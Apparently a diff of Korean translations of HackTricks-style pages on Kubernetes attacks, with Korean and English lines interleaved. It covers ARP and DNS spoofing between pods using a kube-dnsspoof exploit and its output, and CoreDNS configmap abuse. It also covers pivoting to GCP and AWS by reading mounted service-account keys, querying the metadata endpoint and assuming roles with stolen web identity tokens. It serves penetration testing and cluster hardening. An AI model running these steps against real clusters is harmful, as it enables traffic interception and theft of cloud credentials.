> 이를 알고, **ARP 공격이 가능하다는 것을 알면**, 노드의 **pod**는 **서브네트워크** 내의 **각 pod**와 **브리지** 간의 **트래픽을 가로챌 수** 있으며, DNS 서버로부터의 **DNS 응답을 수정**할 수 있습니다 (**DNS 스푸핑**).
|
||||
> Knowing this, and knowing **ARP attacks are possible**, a **pod** in a node is going to be able to **intercept the traffic** between **each pod** in the **subnetwork** and the **bridge** and **modify** the **DNS responses** from the DNS server (**DNS Spoofing**).
|
||||
>
|
||||
> 게다가, **DNS 서버**가 **공격자와 동일한 노드에 있다면**, 공격자는 클러스터 내의 어떤 pod의 **모든 DNS 요청을 가로챌 수** 있으며 (DNS 서버와 브리지 간), 응답을 수정할 수 있습니다.
|
||||
> Moreover, if the **DNS server** is in the **same node as the attacker**, the attacker can **intercept all the DNS request** of any pod in the cluster (between the DNS server and the bridge) and modify the responses.
|
||||
|
||||
## 동일 노드의 pods에서 ARP 스푸핑
|
||||
> [!NOTE]
|
||||
> 실제 클러스터에서 이게 동작한다고 가정하기 전에 활성 CNI와 DNS 경로를 검증하세요. 일부 CNI는 같은 노드 트래픽을 다르게 라우팅하거나 격리하며, NodeLocal DNSCache를 사용하는 클러스터는 CoreDNS로 전달하기 전에 pod DNS 쿼리를 node-local 주소로 보낼 수 있습니다. 이런 환경에서는 DNS spoofing이 pod 배치, packet 권한, resolver 설정, node-local cache 동작, 그리고 애플리케이션이 TLS나 다른 identity mechanism으로 피어를 검증하는지 여부에 따라 달라집니다.
|
||||
|
||||
우리의 목표는 **ubuntu-victim에서 mysql로의 통신을 최소한 훔치는 것입니다**.
|
||||
## ARP Spoofing in pods in the same Node
|
||||
|
||||
Our goal is to **steal at least the communication from the ubuntu-victim to the mysql**.
|
||||
|
||||
### Scapy
|
||||
```bash
|
||||
@@ -233,16 +236,16 @@ arpspoof -t 172.17.0.9 172.17.0.10
|
||||
```
|
||||
## DNS Spoofing
|
||||
|
||||
이미 언급했듯이, 만약 당신이 **DNS 서버 포드와 같은 노드에 있는 포드를 손상시키면**, 당신은 **MitM**을 **ARPSpoofing**을 사용하여 **브리지와 DNS** 포드와 함께 **모든 DNS 응답을 수정**할 수 있습니다.
|
||||
이미 언급했듯이, **DNS server pod와 같은 노드의 pod를 compromise**하면, **ARPSpoofing**으로 **bridge와 DNS** pod 사이에서 **MitM**을 수행하고 **모든 DNS 응답을 수정**할 수 있습니다.
|
||||
|
||||
당신은 [**https://github.com/danielsagi/kube-dnsspoof/**](https://github.com/danielsagi/kube-dnsspoof/)에서 이를 테스트할 수 있는 정말 멋진 **도구**와 **튜토리얼**을 가지고 있습니다.
|
||||
이것을 테스트할 수 있는 아주 좋은 **tool**과 **tutorial**이 [**https://github.com/danielsagi/kube-dnsspoof/**](https://github.com/danielsagi/kube-dnsspoof/)에 있습니다.
|
||||
|
||||
우리의 시나리오에서는, **공격자 포드**에 **도구**를 **다운로드**하고 **스푸핑**하려는 **도메인**으로 **`hosts`라는 이름의 파일**을 생성합니다:
|
||||
우리 시나리오에서는, attacker pod에서 **tool을 download**하고 다음과 같이 **spoof**할 **domains**를 담은 **`hosts`라는 파일**을 만드세요:
|
||||
```
|
||||
cat hosts
|
||||
google.com. 1.1.1.1
|
||||
```
|
||||
우분투-희생자 머신에 공격을 수행하십시오:
|
||||
ubuntu-victim 머신에 공격을 수행하세요:
|
||||
```
|
||||
python3 exploit.py --direct 172.17.0.10
|
||||
[*] starting attack on direct mode to pod 172.17.0.10
|
||||
@@ -260,47 +263,49 @@ dig google.com
|
||||
google.com. 1 IN A 1.1.1.1
|
||||
```
|
||||
> [!NOTE]
|
||||
> 만약 당신이 자신의 DNS 스푸핑 스크립트를 만들려고 한다면, **DNS 응답만 수정하는 것**은 **작동하지 않을 것입니다**, 왜냐하면 **응답**은 **악성** **pod**의 IP 주소인 **src IP**를 가질 것이고 **수용되지 않을 것입니다**.\
|
||||
> 당신은 피해자가 DNS 요청을 보낸 **DNS**의 **src IP**로 **새 DNS 패킷**을 생성해야 합니다 (이는 172.16.0.2와 같은 것이며, 10.96.0.10은 K8s DNS 서비스 IP이고 DNS 서버 IP가 아닙니다. 이에 대한 자세한 내용은 소개에서 다룹니다).
|
||||
> If you try to create your own DNS spoofing script, if you **just modify the the DNS response** that is **not** going to **work**, because the **response** is going to have a **src IP** the IP address of the **malicious** **pod** and **won't** be **accepted**.\
|
||||
> You need to generate a **new DNS packet** with the **src IP** of the **DNS** where the victim send the DNS request (which is something like 172.16.0.2, not 10.96.0.10, thats the K8s DNS service IP and not the DNS server ip, more about this in the introduction).
|
||||
|
||||
## coreDNS configmap을 통한 DNS 스푸핑
|
||||
## DNS Spoofing via coreDNS configmap
|
||||
|
||||
kube-system 네임스페이스의 configmap `coredns`에 대한 쓰기 권한이 있는 사용자는 클러스터의 DNS 응답을 수정할 수 있습니다.
|
||||
`coredns` ConfigMap에 대한 write 권한이 있는 사용자는 `kube-system` namespace에서 클러스터의 DNS 응답을 수정할 수 있습니다.
|
||||
|
||||
이 공격에 대한 더 많은 정보는 다음에서 확인하세요:
|
||||
또한 NodeLocal DNSCache가 배포되어 있는지도 확인하세요. 보통 hostNetwork DaemonSet으로 실행되며, 자체 ConfigMap, logs, cache, forwarding path를 가집니다. CoreDNS 변경이 DNS 동작에 영향을 주거나 이를 관찰할 수 있는 유일한 지점은 아닐 수 있습니다.
|
||||
|
||||
이 공격에 대한 더 자세한 정보는 다음에서 확인하세요:
|
||||
|
||||
{{#ref}}
|
||||
abusing-roles-clusterroles-in-kubernetes/README.md
|
||||
{{/ref}}
|
||||
|
||||
## 노출된 쿠버네티스 관리 서비스 악용
|
||||
## 노출된 kubernetes management services 악용
|
||||
|
||||
Apache NiFi, Kubeflow, Argo Workflows, Weave Scope 및 Kubernetes 대시보드와 같은 서비스는 종종 인터넷이나 쿠버네티스 네트워크 내에 노출됩니다. 쿠버네티스를 관리하는 데 사용되는 플랫폼을 **찾아내고 접근할 수 있는** 공격자는 이를 악용하여 쿠버네티스 API에 접근하고 새로운 pods를 생성하거나 기존 ones를 수정하거나 심지어 삭제하는 등의 작업을 수행할 수 있습니다.
|
||||
Apache NiFi, Kubeflow, Argo Workflows, Weave Scope, Kubernetes dashboard 같은 서비스는 종종 인터넷이나 kubernetes network 내부에 노출되어 있습니다. **kubernetes를 관리하는 데 사용되는 플랫폼을 찾아 접근하는 데 성공한 공격자**는 이를 악용해 kubernetes API에 접근하고, 새 pod 생성, 기존 pod 수정, 심지어 삭제 같은 작업을 수행할 수 있습니다.
|
||||
|
||||
## 쿠버네티스 네트워크 정책 열거
|
||||
## kubernetes network policies 열거
|
||||
|
||||
구성된 **networkpolicies** 가져오기:
|
||||
설정된 **networkpolicies** 가져오기:
|
||||
```bash
|
||||
kubectl get networkpolicies --all-namespaces
|
||||
```
|
||||
**Callico** 네트워크 정책 가져오기:
|
||||
Get **Callico** network policies:
|
||||
```bash
|
||||
kubectl get globalnetworkpolicy --all-namespaces
|
||||
```
|
||||
**Cillium** 네트워크 정책 가져오기:
|
||||
Get **Cillium** network policies:
|
||||
```bash
|
||||
kubectl get ciliumnetworkpolicy --all-namespaces
|
||||
```
|
||||
네트워크 플러그인 또는 보안 솔루션에 의해 설치된 다른 정책 관련 CRD를 가져옵니다:
|
||||
네트워크 plugin 또는 security solution에 의해 설치된 다른 policy 관련 CRD를 확인하세요:
|
||||
```bash
|
||||
kubectl get crd | grep -i policy
|
||||
```
|
||||
## 트래픽 캡처
|
||||
|
||||
도구 [**Mizu**](https://github.com/up9inc/mizu)는 **Kubernetes**를 위한 간단하면서도 강력한 API **트래픽 뷰어**로, 마이크로서비스 간의 **모든 API 통신**을 볼 수 있게 하여 디버깅 및 회귀 문제 해결에 도움을 줍니다.\
|
||||
선택한 파드에 에이전트를 설치하고 그들의 트래픽 정보를 수집하여 웹 서버에 표시합니다. 그러나 이를 위해서는 높은 K8s 권한이 필요하며 (그리고 그리 은밀하지 않습니다).
|
||||
도구 [**Mizu**](https://github.com/up9inc/mizu)는 Kubernetes용으로 **API traffic viewer**를 제공하는 간단하지만 강력한 도구로, **microservices 간의 모든 API communication을 확인**할 수 있게 해 주어 디버그와 회귀 문제 해결에 도움을 줍니다.\
|
||||
선택한 pod들에 agent를 설치하고 해당 traffic 정보를 수집해 web server에서 보여줍니다. 다만 이를 위해서는 높은 K8s 권한이 필요합니다(그리고 그다지 stealthy하지도 않습니다).
|
||||
|
||||
## 참고자료
|
||||
## References
|
||||
|
||||
- [https://www.cyberark.com/resources/threat-research-blog/attacking-kubernetes-clusters-through-your-network-plumbing-part-1](https://www.cyberark.com/resources/threat-research-blog/attacking-kubernetes-clusters-through-your-network-plumbing-part-1)
|
||||
- [https://blog.aquasec.com/dns-spoofing-kubernetes-clusters](https://blog.aquasec.com/dns-spoofing-kubernetes-clusters)
|
||||
|
||||
@@ -1,65 +1,65 @@
|
||||
# Kubernetes로 클라우드로 피벗하기
|
||||
# Kubernetes Pivoting to Clouds
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## GCP
|
||||
|
||||
만약 GCP 내부에서 k8s cluster를 운영하고 있다면, 클러스터 내부에서 실행되는 어떤 애플리케이션이 GCP에 접근할 수 있게 하고 싶을 가능성이 높습니다. 이를 위한 일반적인 방법은 2가지가 있습니다:
|
||||
GCP 안에서 k8s cluster를 실행하고 있다면, cluster 내부에서 실행되는 어떤 application이 GCP에 대한 access를 가지길 원할 가능성이 큽니다. 이를 수행하는 일반적인 방법은 2가지가 있습니다:
|
||||
|
||||
### GCP-SA 키를 secret으로 마운트하기
|
||||
### Mounting GCP-SA keys as secret
|
||||
|
||||
kubernetes 애플리케이션에 GCP 접근 권한을 부여하는 일반적인 방법은 다음과 같습니다:
|
||||
**kubernetes application에 GCP access를 부여**하는 일반적인 방법은 다음과 같습니다:
|
||||
|
||||
- Create a GCP Service Account
|
||||
- Bind on it the desired permissions
|
||||
- Download a json key of the created SA
|
||||
- Mount it as a secret inside the pod
|
||||
- Set the GOOGLE_APPLICATION_CREDENTIALS environment variable pointing to the path where the json is.
|
||||
- GCP Service Account를 생성
|
||||
- 원하는 permissions를 그 계정에 bind
|
||||
- 생성된 SA의 json key를 다운로드
|
||||
- pod 내부에 secret으로 mount
|
||||
- GOOGLE_APPLICATION_CREDENTIALS environment variable을 json이 있는 path로 가리키게 설정
|
||||
|
||||
> [!WARNING]
|
||||
> 따라서, **attacker**로서 pod 내부의 컨테이너를 탈취한 경우, GCP 자격증명이 포함된 해당 **env** **variable**과 **json** **files**를 확인해야 합니다.
|
||||
> 따라서 **attacker**라면, pod 내부의 container를 compromise했을 때 이 **env** **variable**과 GCP credentials가 들어 있는 **json** **files**를 확인해야 합니다.
|
||||
|
||||
### GSA json을 KSA secret에 연동하기
|
||||
### Relating GSA json to KSA secret
|
||||
|
||||
GSA에 GKE cluster 접근 권한을 부여하는 한 방법은 다음과 같이 바인딩하는 것입니다:
|
||||
GSA에 GKE cluser에서 access를 부여하는 한 가지 방법은 다음과 같이 bind하는 것입니다:
|
||||
|
||||
- 다음 명령어를 사용해 GKE cluster와 동일한 namespace에 Kubernetes service account를 생성:
|
||||
- 다음 command를 사용하여 GKE cluster와 같은 namespace에 Kubernetes service account를 생성합니다:
|
||||
```bash
|
||||
kubectl create serviceaccount <service-account-name>
|
||||
```
|
||||
- GKE 클러스터에 접근 권한을 부여하려는 GCP 서비스 계정의 자격 증명을 포함하는 Kubernetes Secret을 생성합니다. 아래 예시와 같이 `gcloud` 명령줄 도구를 사용하여 수행할 수 있습니다:
|
||||
- GKE 클러스터에 액세스를 부여하려는 GCP service account의 credentials를 포함하는 Kubernetes Secret을 생성합니다. 다음 예시에서 보듯이 `gcloud` command-line tool을 사용해 이를 수행할 수 있습니다:
|
||||
```bash
|
||||
gcloud iam service-accounts keys create <key-file-name>.json \
|
||||
--iam-account <gcp-service-account-email>
|
||||
kubectl create secret generic <secret-name> \
|
||||
--from-file=key.json=<key-file-name>.json
|
||||
```
|
||||
- 다음 명령으로 Kubernetes Secret을 Kubernetes service account에 바인딩합니다:
|
||||
- 다음 명령을 사용하여 Kubernetes Secret을 Kubernetes service account에 바인딩하세요:
|
||||
```bash
|
||||
kubectl annotate serviceaccount <service-account-name> \
|
||||
iam.gke.io/gcp-service-account=<gcp-service-account-email>
|
||||
```
|
||||
> [!WARNING]
|
||||
> 두 번째 단계에서는 **GSA의 자격 증명이 KSA의 시크릿으로 설정**되었습니다. 그러므로, 만약 **GKE** 클러스터 **내부에서 그 시크릿을 읽을 수 있다면**, 당신은 **해당 GCP service account로 권한 상승**할 수 있습니다.
|
||||
> **두 번째 단계**에서 **GSA의 credentials가 KSA의 secret으로** 설정되었습니다. 따라서 **GKE** 클러스터 **내부**에서 그 **secret을 읽을 수 있다면**, 해당 **GCP service account**로 **escalate**할 수 있습니다.
|
||||
|
||||
### GKE Workload Identity
|
||||
|
||||
Workload Identity를 사용하면 a[ Kubernetes service account](https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/)를 a[ Google service account](https://cloud.google.com/iam/docs/understanding-service-accounts)로 동작하도록 구성할 수 있습니다. Kubernetes service account로 실행되는 Pods는 Google Cloud APIs에 접근할 때 자동으로 Google service account로 인증됩니다.
|
||||
With Workload Identity, we can configure a[ Kubernetes service account](https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/) to act as a[ Google service account](https://cloud.google.com/iam/docs/understanding-service-accounts). Pods running with the Kubernetes service account will automatically authenticate as the Google service account when accessing Google Cloud APIs.
|
||||
|
||||
이 동작을 활성화하기 위한 **첫 번째 일련의 단계**는 **GCP에서 Workload Identity를 활성화하는 것** ([**steps**](https://medium.com/zeotap-customer-intelligence-unleashed/gke-workload-identity-a-secure-way-for-gke-applications-to-access-gcp-services-f880f4e74e8c))과 k8s가 가장할 GCP SA를 생성하는 것입니다.
|
||||
이 동작을 활성화하기 위한 **첫 번째 일련의 단계**는 **GCP에서 Workload Identity를 활성화**하고([**steps**](https://medium.com/zeotap-customer-intelligence-unleashed/gke-workload-identity-a-secure-way-for-gke-applications-to-access-gcp-services-f880f4e74e8c)) k8s가 가장할 GCP SA를 생성하는 것입니다.
|
||||
|
||||
- 새 클러스터에서 **Workload Identity 활성화**
|
||||
- **새 cluster에서 Workload Identity 활성화**
|
||||
```bash
|
||||
gcloud container clusters update <cluster_name> \
|
||||
--region=us-central1 \
|
||||
--workload-pool=<project-id>.svc.id.goog
|
||||
```
|
||||
- **새 nodepool 생성/업데이트** (Autopilot clusters don't need this)
|
||||
- **새 nodepool 생성/업데이트** (Autopilot clusters는 이게 필요하지 않음)
|
||||
```bash
|
||||
# You could update instead of create
|
||||
gcloud container node-pools create <nodepoolname> --cluster=<cluser_name> --workload-metadata=GKE_METADATA --region=us-central1
|
||||
```
|
||||
- K8s에서 GCP 권한으로 가장할 **GCP Service Account** 생성:
|
||||
- GCP 권한이 있는 K8s에서 **가장할 GCP Service Account**를 생성합니다:
|
||||
```bash
|
||||
# Create SA called "gsa2ksa"
|
||||
gcloud iam service-accounts create gsa2ksa --project=<project-id>
|
||||
@@ -69,7 +69,7 @@ gcloud projects add-iam-policy-binding <project-id> \
|
||||
--member "serviceAccount:gsa2ksa@<project-id>.iam.gserviceaccount.com" \
|
||||
--role "roles/iam.securityReviewer"
|
||||
```
|
||||
- **클러스터**에 **연결**하고 사용할 **서비스 계정**을 **생성**합니다
|
||||
- **클러스터에 연결**하고 사용할 **service account**를 **생성**하세요
|
||||
```bash
|
||||
# Get k8s creds
|
||||
gcloud container clusters get-credentials <cluster_name> --region=us-central1
|
||||
@@ -80,7 +80,7 @@ kubectl create namespace testing
|
||||
# Create the KSA
|
||||
kubectl create serviceaccount ksa2gcp -n testing
|
||||
```
|
||||
- **GSA를 KSA에 바인딩하기**
|
||||
- **GSA를 KSA에 bind하기**
|
||||
```bash
|
||||
# Allow the KSA to access the GSA in GCP IAM
|
||||
gcloud iam service-accounts add-iam-policy-binding gsa2ksa@<project-id.iam.gserviceaccount.com \
|
||||
@@ -92,7 +92,7 @@ kubectl annotate serviceaccount ksa2gcp \
|
||||
--namespace testing \
|
||||
iam.gke.io/gcp-service-account=gsa2ksa@security-devbox.iam.gserviceaccount.com
|
||||
```
|
||||
- **pod**을 **KSA**와 함께 실행하고 **GSA:**에 대한 **access**를 확인합니다
|
||||
- **KSA**로 **pod**를 실행하고 **GSA**에 대한 **access**를 확인하세요:
|
||||
```bash
|
||||
# If using Autopilot remove the nodeSelector stuff!
|
||||
echo "apiVersion: v1
|
||||
@@ -118,15 +118,15 @@ kubectl exec -it workload-identity-test \
|
||||
curl -H "Metadata-Flavor: Google" http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/email
|
||||
gcloud auth list
|
||||
```
|
||||
필요할 경우 인증하려면 다음 명령어를 확인하세요:
|
||||
필요한 경우 인증하기 위해 다음 명령을 확인하세요:
|
||||
```bash
|
||||
gcloud auth activate-service-account --key-file=/var/run/secrets/google/service-account/key.json
|
||||
```
|
||||
> [!WARNING]
|
||||
> K8s 내부의 attacker로서 **SAs** 중 **`iam.gke.io/gcp-service-account` annotation**이 있는 것을 찾아야 합니다. 이는 해당 SA가 GCP에서 무언가에 접근할 수 있음을 나타냅니다. 다른 방법으로는 클러스터의 각 KSA를 악용해 접근 권한이 있는지 확인하는 것입니다.\
|
||||
> GCP에서는 바인딩을 열거해서 **Kubernetes 내부의 SAs에 어떤 접근을 부여하고 있는지** 파악하는 것이 항상 흥미롭습니다.
|
||||
> K8s 내부의 공격자로서 **`iam.gke.io/gcp-service-account` annotation**이 있는 **SAs**를 **검색**해야 합니다. 이는 해당 SA가 GCP의 무언가에 접근할 수 있음을 의미합니다. 또 다른 방법은 cluster 내의 각 KSA를 악용해 보고 접근 권한이 있는지 확인하는 것입니다.\
|
||||
> GCP에서는 bindings를 열거하고 **Kubernetes 내부의 SAs에 어떤 access를 부여하고 있는지** 파악하는 것이 항상 흥미롭습니다.
|
||||
|
||||
이 스크립트는 쉽게 **모든 pods를 순회(iterate over the all the pods)** 정의를 **검사(looking)** 하여 해당 **annotation**을 찾기 위한 것입니다:
|
||||
이것은 **모든 pods** 정의를 쉽게 **반복**하면서 해당 **annotation**을 **찾기** 위한 script입니다:
|
||||
```bash
|
||||
for ns in `kubectl get namespaces -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
|
||||
for pod in `kubectl get pods -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
|
||||
@@ -141,9 +141,9 @@ done | grep -B 1 "gcp-service-account"
|
||||
|
||||
### Kiam & Kube2IAM (IAM role for Pods) <a href="#workflow-of-iam-role-for-service-accounts" id="workflow-of-iam-role-for-service-accounts"></a>
|
||||
|
||||
구식 방법으로 Pods에 IAM Roles를 부여하는 한 가지 방법은 [**Kiam**](https://github.com/uswitch/kiam) 또는 [**Kube2IAM**](https://github.com/jtblin/kube2iam) **server**를 사용하는 것입니다. 기본적으로 클러스터에서 **daemonset**을 실행해야 하며, 해당 daemonset은 일종의 **privileged IAM role**을 가지고 있어야 합니다. 이 daemonset이 필요한 Pod들에게 IAM roles 접근 권한을 부여하는 역할을 합니다.
|
||||
Pods에 IAM Roles를 부여하는 (구식) 방법 중 하나는 [**Kiam**](https://github.com/uswitch/kiam) 또는 [**Kube2IAM**](https://github.com/jtblin/kube2iam) **server.**를 사용하는 것입니다. 기본적으로 클러스터에서 **특정 privileged IAM role**을 가진 **daemonset**을 실행해야 합니다. 이 daemonset이 필요한 pod들에게 IAM roles 접근 권한을 부여하게 됩니다.
|
||||
|
||||
우선 **which roles can be accessed inside the namespace**를 구성해야 하며, 이는 namespace 객체 내부의 annotation으로 설정합니다:
|
||||
먼저 **namespace 내부에서 어떤 roles에 접근할 수 있는지**를 설정해야 하며, 이는 namespace object 안의 annotation으로 지정합니다:
|
||||
```yaml:Kiam
|
||||
kind: Namespace
|
||||
metadata:
|
||||
@@ -161,7 +161,7 @@ iam.amazonaws.com/allowed-roles: |
|
||||
["role-arn"]
|
||||
name: default
|
||||
```
|
||||
namespace가 Pods가 가질 수 있는 IAM roles로 구성되면, 각 pod definition에서 원하는 역할을 **다음과 같이 지정할 수 있습니다**:
|
||||
네임스페이스가 Pods가 사용할 수 있는 IAM roles로 구성되면, **각 pod 정의에서 원하는 role을 다음과 같이 지정할 수 있습니다**:
|
||||
```yaml:Kiam & Kube2iam
|
||||
kind: Pod
|
||||
metadata:
|
||||
@@ -171,12 +171,12 @@ annotations:
|
||||
iam.amazonaws.com/role: reportingdb-reader
|
||||
```
|
||||
> [!WARNING]
|
||||
> 공격자라면, pods 또는 namespaces에서 이러한 애노테이션을 **발견할 경우**, 또는 kiam/kube2iam 서버가 실행 중(대부분 kube-system에 있음)이라면, 이미 pods에서 **사용되는 모든 역할을 가장(impersonate)**할 수 있고 그 이상도 가능합니다 (AWS 계정에 접근할 수 있다면 역할들을 열거(enumerate)하세요).
|
||||
> 공격자로서, pods 또는 namespaces에서 **이 annotations를 찾거나**, kiam/kube2iam server가 실행 중이라면(아마도 kube-system에서) **pods가 이미 사용 중인 모든 r**ole과 그 이상을 impersonate할 수 있습니다( AWS account에 접근할 수 있다면 roles를 enumerate하세요).
|
||||
|
||||
#### IAM Role을 가진 Pod 생성
|
||||
#### Create Pod with IAM Role
|
||||
|
||||
> [!NOTE]
|
||||
> 지정할 IAM role은 kiam/kube2iam role과 동일한 AWS 계정에 있어야 하며, 해당 role이 접근할 수 있어야 합니다.
|
||||
> 지정해야 하는 IAM role은 kiam/kube2iam role과 동일한 AWS account에 있어야 하며, 그 role은 해당 role에 접근할 수 있어야 합니다.
|
||||
```yaml
|
||||
echo 'apiVersion: v1
|
||||
kind: Pod
|
||||
@@ -194,12 +194,12 @@ args: ["-c", "sleep 100000"]' | kubectl apply -f -
|
||||
```
|
||||
### OIDC를 통한 K8s Service Accounts용 IAM Role <a href="#workflow-of-iam-role-for-service-accounts" id="workflow-of-iam-role-for-service-accounts"></a>
|
||||
|
||||
이는 **AWS가 권장하는 방법**입니다.
|
||||
이것은 **AWS가 권장하는 방식**입니다.
|
||||
|
||||
1. 먼저 [create an OIDC provider for the cluster](https://docs.aws.amazon.com/eks/latest/userguide/enable-iam-roles-for-service-accounts.html).
|
||||
1. 먼저 [클러스터용 OIDC provider를 생성](https://docs.aws.amazon.com/eks/latest/userguide/enable-iam-roles-for-service-accounts.html)해야 합니다.
|
||||
2. 그런 다음 SA가 필요로 하는 권한을 가진 IAM role을 생성합니다.
|
||||
3. IAM role과 SA 간의 [trust relationship between the IAM role and the SA](https://docs.aws.amazon.com/eks/latest/userguide/associate-service-account-role.html)를 생성하세요 (또는 namespace들이 해당 namespace의 모든 SAs에 role 접근 권한을 부여하도록). _Trust relationship은 주로 OIDC provider name, namespace name 및 SA name을 확인합니다_.
|
||||
4. 마지막으로, **ARN을 가리키는 annotation을 가진 SA를 생성**하면 그 SA로 실행되는 pods는 해당 role의 **token에 접근**할 수 있습니다. **token**은 파일에 **쓰기**되며 경로는 **`AWS_WEB_IDENTITY_TOKEN_FILE`**에 지정되어 있습니다 (기본값: `/var/run/secrets/eks.amazonaws.com/serviceaccount/token`)
|
||||
3. [IAM role과 SA](https://docs.aws.amazon.com/eks/latest/userguide/associate-service-account-role.html) 이름(또는 namespace 내의 모든 SA에 role 접근을 허용하는 namespace) 사이에 [trust relationship](https://docs.aws.amazon.com/eks/latest/userguide/associate-service-account-role.html)을 생성합니다. _trust relationship은 주로 OIDC provider 이름, namespace 이름, 그리고 SA 이름을 확인합니다_.
|
||||
4. 마지막으로, **role의 ARN을 지정하는 annotation이 있는 SA를 생성**하면, 그 SA로 실행되는 pods는 **role의 token에 접근**할 수 있습니다. **token**은 파일 안에 **written**되며, 경로는 **`AWS_WEB_IDENTITY_TOKEN_FILE`**에 지정됩니다 (기본값: `/var/run/secrets/eks.amazonaws.com/serviceaccount/token`)
|
||||
```bash
|
||||
# Create a service account with a role
|
||||
cat >my-service-account.yaml <<EOF
|
||||
@@ -216,27 +216,27 @@ kubectl apply -f my-service-account.yaml
|
||||
# Add a role to an existent service account
|
||||
kubectl annotate serviceaccount -n $namespace $service_account eks.amazonaws.com/role-arn=arn:aws:iam::$account_id:role/my-role
|
||||
```
|
||||
`/var/run/secrets/eks.amazonaws.com/serviceaccount/token`에서 **토큰을 사용하여 aws를 얻으려면** 다음을 실행하세요:
|
||||
`/var/run/secrets/eks.amazonaws.com/serviceaccount/token`에서 **토큰을 사용해 aws를 얻으려면** 다음을 실행하세요:
|
||||
```bash
|
||||
aws sts assume-role-with-web-identity --role-arn arn:aws:iam::123456789098:role/EKSOIDCTesting --role-session-name something --web-identity-token file:///var/run/secrets/eks.amazonaws.com/serviceaccount/token
|
||||
```
|
||||
> [!WARNING]
|
||||
> 공격자로서 K8s 클러스터를 열거할 수 있다면, **해당 어노테이션이 있는 서비스 계정**을 확인하여 **AWS로 권한 상승**을 시도하라. 이를 위해, IAM의 **privileged 서비스 계정** 중 하나를 사용해 **pod**를 **exec/create**하고 토큰을 탈취하면 된다.
|
||||
> 공격자로서 K8s cluster를 열거할 수 있다면, **그 annotation이 있는 service accounts**를 확인해 **AWS로 escalate** 하세요. 그렇게 하려면, IAM **privileged service accounts** 중 하나를 사용해 **pod를 exec/create** 하고 token을 탈취하면 됩니다.
|
||||
>
|
||||
> 또한, pod 내부에 있다면 **AWS_ROLE_ARN** 및 **AWS_WEB_IDENTITY_TOKEN** 같은 환경 변수(env variables)를 확인하라.
|
||||
> 또한, pod 안에 있다면 **AWS_ROLE_ARN** 및 **AWS_WEB_IDENTITY_TOKEN.** 같은 env variables를 확인하세요.
|
||||
|
||||
> [!CAUTION]
|
||||
> 때때로 역할의 **Turst Policy**가 **잘못 구성되어** 예상된 서비스 계정에 AssumeRole 권한을 주는 대신 **모든 서비스 계정**에 권한을 부여할 수 있다. 따라서 제어 가능한 서비스 계정에 어노테이션을 쓸 수 있다면 해당 role에 접근할 수 있다.
|
||||
> 때때로 role의 **Turst Policy**가 **잘못 구성**되어 있어, 예상된 service account에 AssumeRole access를 주는 대신 **모든 service accounts**에 권한을 줄 수 있습니다. 따라서 controlled service account에 annotation을 쓸 수 있다면, 그 role에 접근할 수 있습니다.
|
||||
>
|
||||
> 자세한 내용은 **다음 페이지를 확인**하라:
|
||||
> 더 많은 정보는 **다음 page를 확인하세요**:
|
||||
|
||||
{{#ref}}
|
||||
../aws-security/aws-basic-information/aws-federation-abuse.md
|
||||
{{#endref}}
|
||||
|
||||
### 클러스터에서 IAM Roles를 가진 Pods와 SAs 찾기
|
||||
### Cluster에서 IAM Roles가 있는 Pods와 SAs 찾기
|
||||
|
||||
이는 해당 어노테이션을 찾기 위해 모든 pods와 sas 정의를 손쉽게 반복(iterate)하는 스크립트이다:
|
||||
이것은 모든 pods와 sas 정의를 **순회하여** 그 **annotation**을 **찾는** 쉬운 script입니다:
|
||||
```bash
|
||||
for ns in `kubectl get namespaces -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
|
||||
for pod in `kubectl get pods -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
|
||||
@@ -255,24 +255,26 @@ done | grep -B 1 "amazonaws.com"
|
||||
```
|
||||
### Node IAM Role to cluster-admin
|
||||
|
||||
이전 섹션은 pods로 IAM Roles를 탈취하는 방법에 관한 것이었지만, **Node of the** K8s cluster is going to be an **instance inside the cloud** 라는 점을 유의하라. 이는 Node가 **have an IAM role you can steal** 가능성이 매우 높다는 것을 의미한다 (_보통 K8s 클러스터의 모든 노드가 동일한 IAM role을 가지므로, 각 노드를 일일이 확인하는 것은 가치가 없을 수 있다_).
|
||||
이전 섹션은 pod로 IAM Role을 탈취하는 방법에 관한 것이었지만, **K8s cluster의 Node는 cloud 안의 instance**라는 점을 기억해야 합니다. 즉, Node는 높은 확률로 **탈취할 수 있는 IAM role**을 가지고 있습니다 (_보통 K8s cluster의 모든 node는 같은 IAM role을 가지므로, 각 node를 하나씩 확인해 볼 가치는 없을 수도 있습니다_).
|
||||
|
||||
node metadata endpoint에 접근하려면 다음이 필요하다:
|
||||
- pod에 있어야 하며 metadata endpoint가 적어도 2 tcp hops로 구성되어 있어야 한다. 이는 가장 흔한 잘못된 구성으로, 보통 클러스터 내의 서로 다른 pods가 정상 동작을 위해 metadata endpoint 접근을 필요로 하고 여러 회사가 클러스터의 모든 pods에서 metadata endpoint 접근을 허용하도록 그냥 결정하기 때문이다.
|
||||
- `hostNetwork`가 활성화된 pod에 있어야 한다.
|
||||
- node로 탈출하여 metadata endpoint에 직접 접근해야 한다.
|
||||
node metadata endpoint에 접근하려면 다음이 필요합니다:
|
||||
- pod 안에 있어야 하고, metadata endpoint가 최소 2 tcp hops로 설정되어 있어야 합니다. 이것은 가장 흔한 misconfiguration인데, 보통 cluster의 서로 다른 pod들이 깨지지 않으려면 metadata endpoint에 접근해야 하고, 여러 회사가 그냥 cluster의 모든 pod에서 metadata endpoint 접근을 허용하도록 결정하기 때문입니다.
|
||||
- `hostNetwork`가 enabled된 pod 안에 있어야 합니다.
|
||||
- node로 escape한 뒤 metadata endpoint에 직접 접근해야 합니다.
|
||||
|
||||
(참고: metadata endpoint는 언제나처럼 169.254.169.254에 있다).
|
||||
(항상 그렇듯 metadata endpoint는 169.254.169.254에 있습니다).
|
||||
|
||||
`hostNetwork`가 활성화된 pod를 실행하여 **escape to the node** 하는 데 다음 명령을 사용할 수 있다:
|
||||
